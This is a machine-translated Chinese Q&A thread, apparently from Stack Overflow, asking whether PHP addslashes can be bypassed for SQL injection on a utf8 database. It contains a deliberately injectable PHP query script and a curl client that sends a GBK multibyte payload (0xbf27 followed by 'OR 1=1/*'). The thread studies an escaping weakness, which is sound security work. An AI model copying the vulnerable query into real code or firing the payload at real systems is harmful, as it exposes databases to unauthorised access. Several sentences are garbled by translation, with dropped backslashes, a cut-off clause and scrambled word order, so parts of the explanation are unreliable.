3

我正在尝试验证在脚本上使用addlashes 是否可利用,众所周知,不应使用addslashes,但问题是,它是否总是可利用的?

当字符集不是 utf8(使用双字节转换)以及变量被 ""

那么,当以上这些情况都没有发生时,可以绕过 addlashes 吗?这是我一直在测试的代码:

带有 db 转储的 data.sql 文件:

CREATE TABLE IF NOT EXISTS `test` (
  `user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

INSERT INTO `test` (`user`) VALUES
('admin'),
('user');

mysql -u test -ptestpw test < data.sql

index.php 放置在服务器中

<?php
  //Server script the receives content via post
  mysql_connect("localhost","test","testpw");
  mysql_select_db("test");
  $user=addslashes($_POST['username']);
  $query="SELECT * FROM test WHERE user='".$user."'";
  $q=mysql_query($query) or die (mysql_error());
  $num_rows = mysql_num_rows($q);
  echo "Listed rows: $num_rows";
  if ($num_rows > 0) {
        $a=mysql_fetch_array($q);
        print_r($a);
  }
?>

query.php 被放置在客户端机器上

<?php
//Client script crafting the special url
$url     = "http://example.com/index.php";
$ch      = curl_init();
curl_setopt( $ch, CURLOPT_URL,            $url     );
curl_setopt( $ch, CURLOPT_POST,           TRUE     );
curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" .
                                          chr(0xbf) . chr(0x27) .
                                          "OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>

一些参考资料:

  • 这里(绕过使用多字节字符串,非utf db)
  • 这里(绕过使用多字节字符串,非 utf db)
  • 这里(绕过使用“”括起来的var)
4

1 回答 1

4

addslashes通过在其前面添加 a来转义字节0x00(NUL 字节)、0x22 ( ")、0x27 ( ') 和 0x5c ( )。有记录的案例在 MySQL 上使用字符编码 GBK 失败\\addslashes

这种类型的攻击对于任何以 0x5c 结尾的有效多字节字符的字符编码都是可能的,因为addslashes()可以诱骗创建一个有效的多字节字符而不是转义后面的单引号。UTF-8 不符合此描述。

您已经有了答案:由于 UTF-8 没有以 0x5c 结尾的有效编码,因此它不容易受到这种攻击。

但是,由于您的脚本似乎依赖于启用的magic_quotes_gpc ,自PHP 5.3.0 起已弃用并从 PHP 5.4.0 起删除,因此您的脚本在magic_quotes_gpc被禁用或不可用的环境中易受攻击。

于 2013-05-15T18:09:44.140 回答